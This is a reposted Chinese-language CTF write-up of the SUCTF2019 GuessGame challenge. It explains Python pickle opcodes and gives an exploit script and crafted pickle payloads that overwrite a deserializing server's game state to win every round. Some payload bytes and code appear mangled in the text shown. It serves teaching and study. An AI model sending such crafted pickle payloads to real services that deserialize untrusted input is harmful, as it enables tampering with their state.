1. 威客安全首页
  2. 安全资讯

SUCTF2019-GuessGame详解

写在前面

之前参加了2019 SUCTF,遇见了一道MISC题,看源码和phithon师傅的文章去了解它的opcodes,但是最终还是没做出来,因为文档实在是太少了,所以决心要弄懂这些东西。虽然pickle这个问题存在很久了,但是还是会有存在的情况,所以还是需要弄懂的,要不然就像这次的SUCTF一样,出现这样的血案,如果以后出现了也有一战之力,不管是执行命令还是这种类的修改。
PS:本文基本不涉及pickle绕过沙盒反序列化执行命令,因为题目不涉及,具体可看附录里的链接。

SUCTF2019-GuessGame详解

Pickle介绍

pickle模块实现用于对Python对象结构进行序列化和反序列化的二进制协议。 与其它语言一样,pickle的dump(dumps)和load(loads)提供了序列化和反序列化的功能,详情使用可参考附录里的pickle文档或者源码。

题目

首先来看下题目,可以在buuoj平台上开启guess game的靶机或者下载源码https://github.com/rmb122/suctf2019_guess_game里下载源码。这道题还是十分有趣的,不会pickle的人短时间内还是可以看懂pickle的基本使用,但是深入构造命令执行或者其它操作比较困难,而这题的考点就考它的其它操作组合。而至于命令执行,可以看附录里的一些链接。
可以看到给了两个文件,一个server.py、一个client.py

SUCTF2019-GuessGame详解

无疑是用client与server交互获得flag

1. 看下client核心逻辑:

SUCTF2019-GuessGame详解

十分的简单,可以看下Ticket类

SUCTF2019-GuessGame详解

也是十分的简单,甚至重写了==,这个会在后面遇到


2. Server逻辑:

SUCTF2019-GuessGame详解

查看猜对条件,可以看出就是判断ticket.number是否相等,相等就使 win_count+1

SUCTF2019-GuessGame详解

SUCTF2019-GuessGame详解

查看胜利条件,胜利次数==最大轮数,而最大轮数是10,所以就是要全胜

SUCTF2019-GuessGame详解

然后max_round和number_range定义在init.py里

SUCTF2019-GuessGame详解

但是这十次随机是不太可能的,跑了个脚本大概能跑对个3 4次就不错了23333。


所以整理下思路:

  • 让max_round=0,然后一局不赢,或者win_count=10,round_count=9传输一次。

  • 直接修改对象的值,让其与传过去的值相等

  • 执行命令直接读取/flag

解题方法

1. win_count=10,round_count=9传输一次

看下官方的exp

import pickle
import socket
import struct

s = socket.socket()
s.connect(('node2.buuoj.cn.wetolink.com'28049))

exp = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.TicketnTicketnqx00)x81qx01}qx02Xx06x00x00x00numberqx03Kxffsb.'''


s.send(struct.pack('>I', len(exp)))
s.send(exp)

print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
看下解释
SUCTF2019-GuessGame详解
接下来看下修改win_count和win_count的opcodes:
cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sb

这都是啥东东,完全看不懂 = =,没关系,我们看看先换成容易看懂的,使用picktools转换

SUCTF2019-GuessGame详解

接下来从pickle源码中提取关键字解释

GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
EMPTY_DICT     = b'}'   # push empty dict
STRING         = b'S'   # push string; NL-terminated string argument
INT            = b'I'   # push integer or bool; decimal string argument
SETITEM        = b's'   # add key+value pair to dict
BUILD          = b'b'   # call __setstate__ or __dict__.update()

有人肯定就开始问了,这我也看不懂英文啊,大哥你帮帮我翻译呗
那就解释如下:
c引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了)
}push一个空的字典,相当于push {}
Spush一个字符串
Ipush一个整型
s按照我的理解以及一些参考文章,pop两位 ,然后作为字典的key和value,这个跟pyc的代码是类似的。
b调用__setstate__ 或者 __dict__.update()
dict.update:更新对象的属性的

所以上面的翻译一下

SUCTF2019-GuessGame详解

如果对python字节码熟悉的师傅就会觉得很简单,但是Web狗实在见识少,只能通过查阅资料和猜测来做。
然后再拼接一个Ticket序列化对象

SUCTF2019-GuessGame详解

虽然与exp有点差别但是影响不大,验证一下

SUCTF2019-GuessGame详解

至于改max_round,由于它不是类里的属性,从opcode没找到操作的方法,如果有可以操作这两个值的方法也是实现的。


2. 直接修改对象的值,让其与传过去的值相等

这一步的关键点在修改guess_game.game.game的current_ticket值。我将De1ta的payload简化了下

exp1 = b"cguess_gamengamenN(S'curr_ticket'ncguess_game.TicketnTicketn)x81}Xx06x00x00x00numberKx06sbdx86bcguess_game.TicketnTicketn)x81}Xx06x00x00x00numberKx06sb."

翻译一下,与上面的其实差不多

SUCTF2019-GuessGame详解

SUCTF2019-GuessGame详解

附录

  • https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
  • https://www.smi1e.top/%E4%BB%8Ebalsn-ctf-pyshv%E5%AD%A6%E4%B9%A0python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
  • https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf

  • https://xz.aliyun.com/t/6042#toc-2

  • https://docs.python.org/3/library/pickle.html

招新小广告

ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org



SUCTF2019-GuessGame详解

原文始发于微信公众号(ChaMd5安全团队):SUCTF2019-GuessGame详解

本文转为转载文章,本文观点不代表威客安全立场。

发表评论

登录后才能评论

联系我们

4006-119-120

在线咨询:点击这里给我发消息

邮件:public@jinlongsec.com

工作时间:周一至周五,9:30-18:30,节假日休息

X